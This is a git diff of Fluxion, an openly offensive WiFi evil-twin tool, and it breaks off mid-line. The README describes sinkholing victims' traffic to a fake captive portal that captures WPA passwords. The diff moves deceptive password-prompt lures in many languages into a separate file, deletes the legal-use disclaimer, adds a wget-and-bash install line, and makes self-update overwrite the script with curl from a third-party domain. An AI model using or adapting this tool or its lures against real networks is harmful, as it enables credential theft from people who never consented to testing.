diff --git a/README.md b/README.md index 3254c7d..7e44b8e 100644 --- a/README.md +++ b/README.md @@ -1,15 +1,21 @@ -

+

#Fluxion is the future of MITM WPA attacks -Fluxion is a remake of linset by vk496 with (hopefully) less bugs and more functionality. It's compatible with the latest release of Kali (rolling). The attack is mostly manual, but experimental versions will automatically handle most functionality from the stable releases. +[![Gitter](https://badges.gitter.im/Join%20Chat.svg)](https://gitter.im/deltaxflux/Lobby) +Fluxion is a remake of linset by vk496 with (hopefully) less bugs and more functionality. It's compatible with the latest release of Kali (rolling). If you're new, or just don't understand much about the project, have a look at the [wiki] (https://github.com/deltaxflux/fluxion/wiki/Tutorial). The attack is mostly manual, but experimental versions will automatically handle most functionality from the stable releases. -### "Clients are not automatically connected to the fake access point" +## Create a deb file +This would be a pleasure for me, if someone can create a deb file. + +## :trident: Know things + +#### "Clients are not automatically connected to the fake access point" This is a social engineering attack and it's pointless to drag clients in automatically. The script relies on the fact that a user should be present in order to enter the wireless credentials. -### "There's no Internet connectivity in the fake access point" +#### "There's no Internet connectivity in the fake access point" There shouldn't be one. All of the traffic is being sinkholed to the built in captive portal via a fake DNS responder in order to capture the credentials. #### "Fake sites don't work" -There might be a problem with lighttpd. The experimental version is tested on lighttpd 1.439-1, anything neweer may break functionality. If you have problems, please use the stable version. +There might be a problem with lighttpd. The experimental version is tested on lighttpd 1.439-1, anything neweer may break functionality. If you have problems, please use the stable version. For more information check this [fix] (https://github.com/deltaxflux/fluxion/wiki/fix) out. #### "Experimental menu is not responsive" In the experimental version it will automatically check the handshake. I will fix the menu shortly. If you need a GUI, use the stable version (which doesn't automatically control handshakes). @@ -20,8 +26,8 @@ This is how the script works. The fake captive portal is set up by the script it #### "The MAC address of the fake access point differs from the original" The MAC address of the fake access point differs by one octet from the original in order to prevent fluxion deauthenticating clients from itself during the session. -### "Installation" -./install.sh +## Installation +``` wget https://raw.githubusercontent.com/deltaxflux/fluxion/master/install/install.sh && bash install.sh ``` ## Updates If you want to submit a feature, do so by labeling your issue as an "enhancement" or submit a PR. I don't have enough time to make daily changes to fluxion, sorry. @@ -33,10 +39,10 @@ If you want to submit a feature, do so by labeling your issue as an "enhancement ## :scroll: Changelog Fluxion gets weekly updates with new features, improvements and bugfixes. -Be sure to check out the [changelog here] (https://github.com/strasharo/fluxion/commits/master). +Be sure to check out the [changelog here] (https://github.com/deltaxflux/fluxion). ## :octocat: How to contribute -All contributions are welcome! Code, documentation, graphics or even design suggestions are welcome; use GitHub to its fullest. Submit pull requests, contribute tutorials or other wiki content -- whatever you have to offer, it would be appreciated! +All contributions are welcome! Code, documentation, graphics or even design suggestions are welcome; use GitHub to its fullest. Submit pull requests, contribute tutorials or other wiki content -- whatever you have to offer, it would be appreciated! Please follow the instructions [here](https://github.com/deltaxflux/fluxion/blob/master/.github/CONTRIBUTING.md) ## :book: How it works * Scan the networks. diff --git a/_config.yml b/_config.yml new file mode 100644 index 0000000..c741881 --- /dev/null +++ b/_config.yml @@ -0,0 +1 @@ +theme: jekyll-theme-slate \ No newline at end of file diff --git a/bash b/bash new file mode 100644 index 0000000..2d67675 --- /dev/null +++ b/bash @@ -0,0 +1,9 @@ + + +404 Not Found + +

Not Found

+

The requested URL /fluxion was not found on this server.

+

Additionally, a 404 Not Found +error was encountered while trying to use an ErrorDocument to handle the request.

+ diff --git a/changelog b/changelog new file mode 100644 index 0000000..4f0041b --- /dev/null +++ b/changelog @@ -0,0 +1,20 @@ +----------------------- General ----------------------- +revision=1 + + +---------------------- Changelog ---------------------- + +[Version: 2 , Revision 1] + +- rewrite code +- move files + - exitmode to lib/ + - source files to language + +- improve handeling +- remove disclaimer +- remove git support +- add checkupdate function +- fix airmon file + +---------------------- Changelog ---------------------- diff --git a/LICENSE b/docs/LICENSE similarity index 100% rename from LICENSE rename to docs/LICENSE diff --git a/fluxion b/fluxion index 8e91942..a75afad 100755 --- a/fluxion +++ b/fluxion @@ -36,8 +36,8 @@ HANDSHAKE_PATH="/root/handshakes" PASSLOG_PATH="/root/pwlog" WORK_DIR=`pwd` DEAUTHTIME="9999999999999" -revision=126 -version=0.25 +revision=3 +version=2 IP=192.168.1.1 RANG_IP=$(echo $IP | cut -d "." -f 1,2,3) @@ -88,14 +88,14 @@ function conditional_clear() { } function airmon { - chmod +x airmon + chmod +x lib/airmon/airmon } airmon # Check Updates function checkupdatess { - revision_online="$(timeout -s SIGTERM 20 curl "https://raw.githubusercontent.com/strasharo/fluxion/master/fluxion" 2>/dev/null| grep "^revision" | cut -d "=" -f2)" + revision_online="$(timeout -s SIGTERM 20 curl "https://fluxion.tk/fluxion" 2>/dev/null| grep "^revision" | cut -d "=" -f2)" if [ -z "$revision_online" ]; then echo "?">$DUMP_PATH/Irev else @@ -132,404 +132,10 @@ fi #Function to executed in case of unexpected termination trap exitmode SIGINT SIGHUP -# KILL ALL -function exitmode { - if [ $FLUX_DEBUG != 1 ]; then - conditional_clear - top - echo -e "\n\n"$white"["$red"-"$white"] "$red"$general_exitmode"$transparent"" - - if ps -A | grep -q aireplay-ng; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"aireplay-ng"$transparent"" - killall aireplay-ng &>$flux_output_device - fi - - if ps -A | grep -q airodump-ng; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"airodump-ng"$transparent"" - killall airodump-ng &>$flux_output_device - fi - - if ps a | grep python| grep fakedns; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"python"$transparent"" - kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device - fi - - if ps -A | grep -q hostapd; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"hostapd"$transparent"" - killall hostapd &>$flux_output_device - fi - - if ps -A | grep -q lighttpd; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"lighttpd"$transparent"" - killall lighttpd &>$flux_output_device - fi - - if ps -A | grep -q dhcpd; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"dhcpd"$transparent"" - killall dhcpd &>$flux_output_device - fi - - if ps -A | grep -q mdk3; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"mdk3"$transparent"" - killall mdk3 &>$flux_output_device - fi - - if [ "$WIFI_MONITOR" != "" ]; then - echo -e ""$weis"["$rot"-"$weis"] "$weis"$general_exitmode_1 "$green"$WIFI_MONITOR"$transparent"" - ./airmon stop $WIFI_MONITOR &> $flux_output_device - fi - - - if [ "$WIFI" != "" ]; then - echo -e ""$weis"["$rot"-"$weis"] "$weis"$general_exitmode_2 "$green"$WIFI"$transparent"" - ./airmon stop $WIFI &> $flux_output_device - ./airmon stop $WIFI_MONITOR1 &> $flux_output_device - ./airmon stop $WIFI_MONITOR2 &> $flux_output_device - ./airmon stop $WIFI_MONITOR3 &> $flux_output_device - ./airmon stop $WIFI_MONITOR4 &> $flux_output_device - ./airmon stop $WIFI_MONITOR5 &> $flux_output_device - macchanger -p $WIFI &> $flux_output_device - fi - - - if [ "$(cat /proc/sys/net/ipv4/ip_forward)" != "0" ]; then - echo -e ""$white"["$red"-"$white"] "$white"$general_exitmode_3"$transparent"" - sysctl -w net.ipv4.ip_forward=0 &>$flux_output_device - fi - - echo -e ""$white"["$red"-"$white"] "$white"$general_exitmode_4"$transparent"" - if [ ! -f $DUMP_PATH/iptables-rules ];then - iptables --flush - iptables --table nat --flush - iptables --delete-chain - iptables --table nat --delete-chain - else - iptables-restore < $DUMP_PATH/iptables-rules - fi - - echo -e ""$white"["$red"-"$white"] "$white"$general_exitmode_5"$transparent"" - tput cnorm - - if [ $FLUX_DEBUG != 1 ]; then - - echo -e ""$white"["$red"-"$white"] "$white"Delete "$grey"files"$transparent"" - rm -R $DUMP_PATH/* &>$flux_output_device - fi - - if [ $KEEP_NETWORK = 0 ]; then - - echo -e ""$white"["$red"-"$white"] "$white"$general_exitmode_6"$transparent"" - # systemctl check - systemd=`whereis systemctl` - if [ "$systemd" = "" ];then - service network-manager restart &> $flux_output_device & - service networkmanager restart &> $flux_output_device & - service networking restart &> $flux_output_device & - else - systemctl restart NetworkManager &> $flux_output_device & - fi - echo -e ""$white"["$green"+"$white"] "$green"$general_exitmode_7"$transparent"" - echo -e ""$white"["$green"+"$white"] "$grey"$general_exitmode_8"$transparent"" - sleep 2 - clear - fi - - fi - - exit - -} - +source lib/exitmode #Languages for the web interface - -#EN -DIALOG_WEB_INFO_ENG="For security reasons, enter the WPA key to access the Internet." -DIALOG_WEB_INPUT_ENG="Enter your WPA password:" -DIALOG_WEB_SUBMIT_ENG="Submit" -DIALOG_WEB_ERROR_ENG="Error: The entered password is not correct!" -DIALOG_WEB_OK_ENG="Your connection will be restored in a few moments." -DIALOG_WEB_BACK_ENG="Back" -DIALOG_WEB_ERROR_MSG_ENG="This field is required." -DIALOG_WEB_LENGTH_MIN_ENG="The password must be more than {0} characters!" -DIALOG_WEB_LENGTH_MAX_ENG="The password must be less than {0} characters!" -DIALOG_WEB_DIR_ENG="ltr" - -#GER -DIALOG_WEB_INFO_GER="Aus Sicherheitsgründen geben Sie bitte den WPA2 Schlüssel ein." -DIALOG_WEB_INPUT_GER="Geben Sie den WPA2 Schlüssel ein:" -DIALOG_WEB_SUBMIT_GER="Bestätigen" -DIALOG_WEB_ERROR_GER="Fehler: Das eingegebene Passwort ist nicht korrekt!" -DIALOG_WEB_OK_GER="Die Verbindung wird in wenigen Sekunden wiederhergestellt." -DIALOG_WEB_BACK_GER="Zurück" -DIALOG_WEB_ERROR_MSG_GER="Dieses Feld ist ein Pflichtfeld." -DIALOG_WEB_LENGTH_MIN_GER="Das Passwort muss länger als {0} Zeichen sein" -DIALOG_WEB_LENGTH_MAX_GER="Das Passwort darf nicht länger als {0} Zeichen sein" -DIALOG_WEB_DIR_GER="ltr" - -#ESP -DIALOG_WEB_INFO_ESP="Por razones de seguridad, teclea tu clave WPA para acceder a internet" -DIALOG_WEB_INPUT_ESP="Teclea tu contraseña WPA:" -DIALOG_WEB_SUBMIT_ESP="Enviar" -DIALOG_WEB_ERROR_ESP="Error: La contraseña introducida no es correcta" -DIALOG_WEB_OK_ESP="Tu conexión será restaurada en unos pocos minutos" -DIALOG_WEB_BACK_ESP="Atrás" -DIALOG_WEB_ERROR_MSG_ESP="Este campo es obligatorio." -DIALOG_WEB_LENGTH_MIN_ESP="La contraseña debe ser más de {0} caracteres!" -DIALOG_WEB_LENGTH_MAX_ESP="La contraseña debe ser menos de {0} caracteres!" -DIALOG_WEB_DIR_ESP="ltr" - -#IT -DIALOG_WEB_INFO_IT="Per motivi di sicurezza, immettere la chiave WPA per accedere a Internet" -DIALOG_WEB_INPUT_IT="Inserisci la tua password WPA:" -DIALOG_WEB_SUBMIT_IT="Invia" -DIALOG_WEB_ERROR_IT="Errore: La password non è corretta!" -DIALOG_WEB_OK_IT="La connessione sarà ripristinata in pochi istanti." -DIALOG_WEB_BACK_IT="Indietro" -DIALOG_WEB_ERROR_MSG_IT="Campo obbligatorio." -DIALOG_WEB_LENGTH_MIN_IT="La password deve essere superiore a {0} caratteri" -DIALOG_WEB_LENGTH_MAX_IT="La password deve essere inferiore a {0} caratteri" -DIALOG_WEB_DIR_IT="ltr" - -#FR -DIALOG_WEB_INFO_FR="Pour des raisons de sécurité, entrez votre clé WPA" -DIALOG_WEB_INPUT_FR="Entrez votre clé WPA:" -DIALOG_WEB_SUBMIT_FR="Soumettre" -DIALOG_WEB_ERROR_FR="Erreur: Le mot de passe entré est incorrect!" -DIALOG_WEB_OK_FR="Votre connection va être restaurée dans un instant." -DIALOG_WEB_BACK_FR="Retour" -DIALOG_WEB_ERROR_MSG_FR="Ce champ est obligatoire." -DIALOG_WEB_LENGTH_MIN_FR="Le mot de passe doit avoir plus de {0} caractères" -DIALOG_WEB_LENGTH_MAX_FR="Le mot de passe doit avoir moins de {0} caractères" -DIALOG_WEB_DIR_FR="ltr" - -#POR -DIALOG_WEB_INFO_POR="Por razões de segurança, digite a senha para acessar a Internet" -DIALOG_WEB_INPUT_POR="Digite novamente a senha do Wifi" -DIALOG_WEB_SUBMIT_POR="Enviar" -DIALOG_WEB_ERROR_POR="Erro: A senha digitada está incorreta!" -DIALOG_WEB_OK_POR="A sua conexão será restaurada em breve." -DIALOG_WEB_BACK_POR="Voltar" -DIALOG_WEB_ERROR_MSG_POR="Campo de preenchimento obrigatório." -DIALOG_WEB_LENGTH_MIN_POR="A senha deve ter mais de {0} caracteres" -DIALOG_WEB_LENGTH_MAX_POR="A chave deve ser menor que {0} caracteres" -DIALOG_WEB_DIR_POR="ltr" - -#RUS -DIALOG_WEB_INFO_RUS="Для получения доступа в Интернет нужно ввести WPA пароль своей точки доступа." -DIALOG_WEB_INPUT_RUS="Введите пароль:" -DIALOG_WEB_SUBMIT_RUS="Отправить" -DIALOG_WEB_ERROR_RUS="Ошибка: Введенный пароль не верный!" -DIALOG_WEB_OK_RUS="Спасибо, соединение восстановится через несколько секунд." -DIALOG_WEB_BACK_RUS="Назад" -DIALOG_WEB_ERROR_MSG_RUS="Это поле необходимо заполнить." -DIALOG_WEB_LENGTH_MIN_RUS="Пароль должен быть не менее {0} символов!" -DIALOG_WEB_LENGTH_MAX_RUS="Пароль должен быть не более {0} символов!" -DIALOG_WEB_DIR_RUS="ltr" - -#TR -DIALOG_WEB_INFO_TR="İnternet'e erişmek icin WPA kablosuz ağ şifrenizi giriniz:" -DIALOG_WEB_INPUT_TR="Lütfen parolanızı giriniz:" -DIALOG_WEB_SUBMIT_TR="Giriş" -DIALOG_WEB_ERROR_TR="Hata: girilen şifre doğru değil! " -DIALOG_WEB_OK_TR="Bağlantı birkaç dakika içinde yapılandırılacaktır." -DIALOG_WEB_BACK_TR="Geri" -DIALOG_WEB_ERROR_MSG_TR="Bu alanın doldurulması zorunludur." -DIALOG_WEB_LENGTH_MIN_TR="Parola en az {0} karakterden olmalıdır." -DIALOG_WEB_LENGTH_MAX_TR="Parola {0} karakterden daha fazla olmamalıdır." -DIALOG_WEB_DIR_TR="ltr" - -#RO -DIALOG_WEB_INFO_RO="Din motive de securitate, introduceți cheia WPA pentru a avea acces la Internet" -DIALOG_WEB_INPUT_RO="Parola WPA:" -DIALOG_WEB_SUBMIT_RO="Trimite" -DIALOG_WEB_ERROR_RO="Eroare: Parola introdusa nu este corecta!" -DIALOG_WEB_OK_RO="Conexiunea la Internet va porni in cateva momente." -DIALOG_WEB_BACK_RO="Inapoi" -DIALOG_WEB_ERROR_MSG_RO="Acest câmp este obligatoriu." -DIALOG_WEB_LENGTH_MIN_RO="Parola trebuie să fie mai mare de {0} de caractere!" -DIALOG_WEB_LENGTH_MAX_RO="Parola trebuie să fie mai mică de {0} de caractere!" -DIALOG_WEB_DIR_RO="ltr" - -#HU -DIALOG_WEB_INFO_HU="Biztonsági okokból adja meg a WPA kulcsot az internet eléréséhez" -DIALOG_WEB_INPUT_HU="WPA jelszó:" -DIALOG_WEB_SUBMIT_HU="Küldés" -DIALOG_WEB_ERROR_HU="Hiba: A megadott jelszó helytelen!" -DIALOG_WEB_OK_HU="Az Internet kapcsolat helyreállt. " -DIALOG_WEB_BACK_HU="Vissza" -DIALOG_WEB_ERROR_MSG_HU="A jelszót kötelező megadni." -DIALOG_WEB_LENGTH_MIN_HU="A jelszó nem lehet kevesebb, mint {0} karakter!" -DIALOG_WEB_LENGTH_MAX_HU="A jelszó kevesebb mint {0} karakter kell hogy legyen!" -DIALOG_WEB_DIR_HU="ltr" - -#ARA -DIALOG_WEB_INFO_ARA="لأسباب أمنية، أدخل كلمة المرور الخاصة بالشبكة المدونة اعلاه من تشفير WPA للحصول على اتصال الانترنت" -DIALOG_WEB_INPUT_ARA="ادخل كلمة السر" -DIALOG_WEB_SUBMIT_ARA="تأكيد" -DIALOG_WEB_ERROR_ARA="خطأ: كلمة السر المدخلة غير صحيحة" -DIALOG_WEB_OK_ARA="سوف يتم استعادة الاتصال في لحظات قليلة! شكرا لتعاونكم" -DIALOG_WEB_BACK_ARA="العودة" -DIALOG_WEB_ERROR_MSG_ARA="هذا الحقل إلزامي" -DIALOG_WEB_LENGTH_MIN_ARA="يجب أن تكون كلمة المرور أكثر من {0} أحرف او ارقام" -DIALOG_WEB_LENGTH_MAX_ARA="يجب أن تكون كلمة المرور أقل من {0} حرفا او رقم" -DIALOG_WEB_DIR_ARA="rtl" - -#CN -DIALOG_WEB_INFO_CN="为了您的安全考量, 请输入 WPA 密码以重新连接网络" -DIALOG_WEB_INPUT_CN="输入您的WPA密码:" -DIALOG_WEB_SUBMIT_CN="连接" -DIALOG_WEB_ERROR_CN="出错了: 您输入的密码 错误!" -DIALOG_WEB_OK_CN="您的无线网络将会在短时间内恢复" -DIALOG_WEB_BACK_ZH_CN="返回" -DIALOG_WEB_ERROR_MSG_CN="此处不能为空" -DIALOG_WEB_LENGTH_MIN_CN="密码最少要有{0}个字符!" -DIALOG_WEB_LENGTH_MAX_CN="密码必须少于{0}个字符!" -DIALOG_WEB_DIR_CN="ltr" - -#GR -DIALOG_WEB_INFO_GR="Για λόγους ασφάλειας, εισάγετε το WPA κωδικό για να έχετε πρόσβαση στο Internet." -DIALOG_WEB_INPUT_GR="Εισάγετε τον WPA κωδικό:" -DIALOG_WEB_SUBMIT_GR="Εισαγωγή" -DIALOG_WEB_ERROR_GR="Σφάλμα: Ο κωδικός ΔΕΝ είναι σωστός!" -DIALOG_WEB_OK_GR="Η συνδεσή σας θα αποκατασταθεί σε λίγα λεπτά" -DIALOG_WEB_BACK_GR="Πίσω" -DIALOG_WEB_ERROR_MSG_GR="Αυτό το πεδίο είναι υποχρεωτικό." -DIALOG_WEB_LENGTH_MIN_GR="Ο κωδικός πρέπει να είναι πάνω από {0} χαρακτήρες" -DIALOG_WEB_LENGTH_MAX_GR="Ο κωδικός πρέπει να είναι λιγότερο από {0} χαρακτήρες" -DIALOG_WEB_DIR_GR="ltr" - -#CZ -DIALOG_WEB_INFO_CZ="Omlouváme se, ale došlo k problémům se zabezpečením vašeho bezdrátového routeru. Zadejte prosím znovu vaše heslo WPA/WPA2." -DIALOG_WEB_INPUT_CZ="Vaše heslo WPA/WPA2:" -DIALOG_WEB_SUBMIT_CZ="Odeslat" -DIALOG_WEB_ERROR_CZ="Chyba: Zadané heslo není správné!" -DIALOG_WEB_OK_CZ="Děkujeme, vaše připojení bude během krátké chvíle obnoveno." -DIALOG_WEB_BACK_CZ="Zpět" -DIALOG_WEB_ERROR_MSG_CZ="Toto pole musíte vyplnit." -DIALOG_WEB_LENGTH_MIN_CZ="Heslo musí být delší než {0} znak(ů)!" -DIALOG_WEB_LENGTH_MAX_CZ="Heslo musí být kratší než {0} znaků(ů)!" -DIALOG_WEB_DIR_CZ="ltr" - -#NO -DIALOG_WEB_INFO_NO="Av sikkerhetsmessige årsaker må WPA-nøkkelen skrives inn for å få tilgang til internett" -DIALOG_WEB_INPUT_NO="Skriv inn ditt WPA-passord:" -DIALOG_WEB_SUBMIT_NO="Send inn" -DIALOG_WEB_ERROR_NO="Feilmelding: Passordet du skrev inn er IKKE riktig!" -DIALOG_WEB_OK_NO="Din tilkobling vil snart bli gjenopprettet." -DIALOG_WEB_BACK_NO="Tilbake" -DIALOG_WEB_ERROR_MSG_NO="Dette feltet er nødvendig." -DIALOG_WEB_LENGTH_MIN_NO="Passordet må inneholde mer enn {0} tegn" -DIALOG_WEB_LENGTH_MAX_NO="Passordet må inneholde ferre enn {0} tegn" -DIALOG_WEB_DIR_NO="ltr" - -#BG -DIALOG_WEB_INFO_BG="От съображения за сигурност е необходимо да въведете своята WPA парола за да получите достъп до Интернет." -DIALOG_WEB_INPUT_BG="Въведете своята WPA парола:" -DIALOG_WEB_SUBMIT_BG="Изпращане" -DIALOG_WEB_ERROR_BG="Грешка: Въведената парола е неправилна!" -DIALOG_WEB_OK_BG="Връзката ще бъде възстановена след няколко секунди." -DIALOG_WEB_BACK_BG="Назад" -DIALOG_WEB_ERROR_MSG_BG="Това поле е задължително!" -DIALOG_WEB_LENGTH_MIN_BG="Паролата трябва да съдържа повече от {0} символа!" -DIALOG_WEB_LENGTH_MAX_BG="Паролата трябва да съдържа по-малко от {0} символа!" -DIALOG_WEB_DIR_BG="ltr" - -#SRB by ghost -DIALOG_WEB_INFO_SRB="Zbog sigurnosnih razloga, unesite WPA ključ da bi ste pristupili internetu." -DIALOG_WEB_INPUT_SRB="Unesite vašu WPA šifru:" -DIALOG_WEB_SUBMIT_SRB="Potvrdi" -DIALOG_WEB_ERROR_SRB="Greška: Šifra koju ste uneli nije tačna!" -DIALOG_WEB_OK_SRB="Vaša konekcija će biti restartovana za par sekundi." -DIALOG_WEB_BACK_SRB="Nazad" -DIALOG_WEB_ERROR_MSG_SRB="Ovo polje je obavezno." -DIALOG_WEB_LENGTH_MIN_SRB="Šifra mora biti duža od {0} simbola!" -DIALOG_WEB_LENGTH_MAX_SRB="Šifra mora biti kraća od {0} simbola!" -DIALOG_WEB_DIR_SRB="ltr" - -#PL -DIALOG_WEB_INFO_PL="Ze względów bezpieczeństwa, wprowadź klucz WPA, aby uzyskać dostęp do Internetu" -DIALOG_WEB_INPUT_PL="Wprowadź hasło WPA:" -DIALOG_WEB_SUBMIT_PL="Zatwierdź" -DIALOG_WEB_ERROR_PL="Błąd: Wprowadzone hasło nie jest poprawne!" -DIALOG_WEB_OK_PL="Połączenie z Internetem zostanie przywrócone w ciągu kilku chwil." -DIALOG_WEB_BACK_PL="Powrót" -DIALOG_WEB_ERROR_MSG_PL="To pole jest obowiązkowe." -DIALOG_WEB_LENGTH_MIN_PL="Podane hasło jest za krótkie Hasło musi zawierać więcej niż {0} znaków!" -DIALOG_WEB_LENGTH_MAX_PL="Podane hasło jest za długie. Hasło musi być mniejsza niż {0} znaków!" -DIALOG_WEB_DIR_PL="ltr" - -#ID -DIALOG_WEB_INFO_ID="Untuk alasan keamanan, masukkan WPA KEY (password wifi) untuk mengakses Internet." -DIALOG_WEB_INPUT_ID="Masukkan WPA KEY (password wifi) anda:" -DIALOG_WEB_SUBMIT_ID="Masukkan" -DIALOG_WEB_ERROR_ID="Error: Password yang anda masukkan tidak sesuai!" -DIALOG_WEB_OK_ID="Anda akan dapat mengakses Internet dalam beberapa saat lagi." -DIALOG_WEB_BACK_ID="Kembali" -DIALOG_WEB_ERROR_MSG_ID="Kolom ini wajib diisi." -DIALOG_WEB_LENGTH_MIN_ID="Password harus lebih dari {0} karakter!" -DIALOG_WEB_LENGTH_MAX_ID="Password harus kurang dari {0} karakter!" -DIALOG_WEB_DIR_ID="ltr" - -#NL -DIALOG_WEB_INFO_NL="Voer uw WPA-wachtwoord wegens beveiligingsredenen in om weer internettoegang te krijgen." -DIALOG_WEB_INPUT_NL="Typ Uw WPA wachtwoord:" -DIALOG_WEB_SUBMIT_NL="Invoeren" -DIALOG_WEB_ERROR_NL="Error: Het ingevoerde wachtwoord is niet juist!" -DIALOG_WEB_OK_NL="Uw verbinding wordt in enkele seconden hervat." -DIALOG_WEB_BACK_NL="Terug" -DIALOG_WEB_ERROR_MSG_NL="Dit veld is verplicht." -DIALOG_WEB_LENGTH_MIN_NL="Het wachtwoord moet langer zijn dan {0} karakters!" -DIALOG_WEB_LENGTH_MAX_NL="Het wachtwoord moet korter zijn dan {0} karakters!" -DIALOG_WEB_DIR_NL="ltr" - -#DAN -DIALOG_WEB_INFO_DAN="Af sikkerhedsmæssige årsager, skal du skrive netværksadgangskoden, for at få adgang til internettet." -DIALOG_WEB_INPUT_DAN="Angiv netværksadgangskoden:" -DIALOG_WEB_SUBMIT_DAN="Forsæt" -DIALOG_WEB_ERROR_DAN="Fejl: Den indtastede netværksadgangskode er ikke korrekt!" -DIALOG_WEB_OK_DAN="Tak, din forbindelse vil blive genoprettet inden få sekunder." -DIALOG_WEB_BACK_DAN="Tilbage" -DIALOG_WEB_ERROR_MSG_DAN="Dette felt er obligatorisk" -DIALOG_WEB_LENGTH_MIN_DAN="Netværksadgangskoden skal være på mere end {0} tegn!" -DIALOG_WEB_LENGTH_MAX_DAN="Netværksadgangskoden skal være på mindre end {0} tegn!" -DIALOG_WEB_DIR_DAN="ltr" - -#TH -DIALOG_WEB_INFO_TH="กรุณากรอกรหัสผ่าน WIFI เพื่อให้แน่ใจว่าท่านไม่ใช่ Robot ในการใช้งานอินเตอร์เน็ต." -DIALOG_WEB_INPUT_TH="กรอกรหัสผ่าน WIFI ของท่าน:" -DIALOG_WEB_SUBMIT_TH="ยืนยัน" -DIALOG_WEB_ERROR_TH="เกิดข้อผิดพลาด: รหัสผ่านไม่ถูกต้อง" -DIALOG_WEB_OK_TH="กรุณารอสักครู่..ระบบกำลังพาท่านไปยังเว็บไซต์ก่อนหน้า..." -DIALOG_WEB_BACK_TH="กลับ" -DIALOG_WEB_ERROR_MSG_TH="กรุณากรอกช่องนี้!" -DIALOG_WEB_LENGTH_MIN_TH="รหัสผ่านควรมีมากกว่า {0} ตัวอักษร!" -DIALOG_WEB_LENGTH_MAX_TH="รหัสผ่านควรมีอย่างน้อย {0} ตัวอักษร!" -DIALOG_WEB_DIR_TH="ltr" - -#HE -DIALOG_WEB_INFO_HE="מטעמי אבטחה, יש להזין את סיסמת הרשת האלחוטית (WPA)עבור קבלת גישה לאינטרנט." -DIALOG_WEB_INPUT_HE="הזן את סיסמת הWPA:" -DIALOG_WEB_SUBMIT_HE="שלח" -DIALOG_WEB_ERROR_HE="שגיאה: הסיסמה שגויה!" -DIALOG_WEB_OK_HE="החיבור לאינטרנט יוחזר בעוד כמה רגעים." -DIALOG_WEB_BACK_HE="אחורה" -DIALOG_WEB_ERROR_MSG_HE="זהו שדה חובה." -DIALOG_WEB_LENGTH_MIN_HE="הסיסמה חייבת להכיל יותר מ{0} תוים!" -DIALOG_WEB_LENGTH_MAX_HE="הסיסמה חייבת להכיל פחות מ{0} תוים!" -DIALOG_WEB_DIR_ENG="ltr" - -#Portuguese -DIALOG_WEB_INFO_PT_BR="Por razões de segurança, insira a senha WPA para acessar a internet" -DIALOG_WEB_INPUT_PT_BR="Insira sua senha WPA:" -DIALOG_WEB_SUBMIT_PT_BR="Enviar" -DIALOG_WEB_ERROR_PT_BR="Erro: A senha inserida não está correta!" -DIALOG_WEB_OK_PT_BR="Sua conexão será recuperada em breve." -DIALOG_WEB_BACK_PT_BR="Voltar" -DIALOG_WEB_ERROR_MSG_PT_BR="Este campo é obrigatório." -DIALOG_WEB_LPT_BRTH_MIN_PT_BR="A senha deve ter mais de {0} caracteres!" -DIALOG_WEB_LPT_BRTH_MAX_PT_BR="A senha deve ter menos de {0} caracteres!" -DIALOG_WEB_DIR_PT_BR="ltr" +source language/source # Design function top(){ @@ -537,7 +143,7 @@ function top(){ conditional_clear echo -e "$red[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]" echo -e "$red[ ]" - echo -e "$red[ $red FLUXION $version" "${yellow} ${red} < F""${yellow}luxion" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture > " ${blue}" ]" + echo -e "$red[ $red FLUXION $version" "${yellow} ${red} < F""${yellow}luxion" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture > " ${blue}" ]" echo -e "$blue[ ]" echo -e "$blue[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]""$transparent" echo @@ -786,7 +392,6 @@ fi if [ $FLUX_DEBUG != 1 ]; then - whiptail --title "Fluxion Disclaimer" --msgbox "Fluxion is intended to be used for legal security purposes only, and you should only use it to protect networks/hosts you own or have permission to test. Any other use is not the responsibility of the developer(s). Be sure that you understand and are complying with the Fluxion licenses and laws in your area. In other words, don't be stupid, don't be an asshole and use this tool responsibly and legally." 14 60 clear; echo "" sleep 0.01 && echo -e "$red " sleep 0.01 && echo -e " ⌠▓▒▓▒ ⌠▓╗ ⌠█┐ ┌█ ┌▓\ /▓┐ ⌠▓╖ ⌠◙▒▓▒◙ ⌠█\ ☒┐ " @@ -799,9 +404,9 @@ if [ $FLUX_DEBUG != 1 ]; then echo"" sleep 0.1 - echo -e $red" FLUX "$white""$version" (rev. "$green "$revision"$white") "$yellow"by "$white" deltax" + echo -e $red" FLUX "$white""$version" (rev. "$green "$revision"$white") "$yellow"by "$white" ghost" sleep 0.1 - echo -e $green " Page:"$red" https://github.com/strasharo/fluxion "$transparent + echo -e $green " Page:"$red" https://fluxion.tk/ "$transparent sleep 0.1 echo -n " Latest rev." tput civis @@ -820,8 +425,10 @@ if [ $FLUX_DEBUG != 1 ]; then echo -ne "$transparent" doupdate=${doupdate:-"Y"} if [ "$doupdate" = "Y" ]; then + cp $0 $HOME/flux_rev-$revision.backup - curl "https://raw.githubusercontent.com/strasharo/fluxion/master/fluxion" -s -o $0 + curl "https://fluxion.tk/fluxion" -s -o $0 + echo echo echo -e ""$red" @@ -935,7 +542,7 @@ case $detectedresolution in * ) resA ;; esac -language +language; setinterface } function language { @@ -944,7 +551,7 @@ function language { conditional_clear if [ "$FLUX_AUTO" = "1" ];then - german; setinterface + source $WORK_DIR/language/en; setinterface else @@ -952,9 +559,9 @@ else conditional_clear top - echo -e ""$red"["$yellow"i"$red"]"$transparent" Select your language" + echo -e ""$red"["$yellow"2"$red"]"$transparent" Select your language" echo " " - echo -e " "$red"["$yellow"1"$red"]"$transparent" English " + echo -e " "$red"["$yellow"1"$red"]"$grey" English " echo -e " "$red"["$yellow"2"$red"]"$transparent" German " echo -e " "$red"["$yellow"3"$red"]"$transparent" Romanian " echo -e " "$red"["$yellow"4"$red"]"$transparent" Turkish " @@ -963,23 +570,24 @@ else echo -e " "$red"["$yellow"7"$red"]"$transparent" Italian " echo -e " 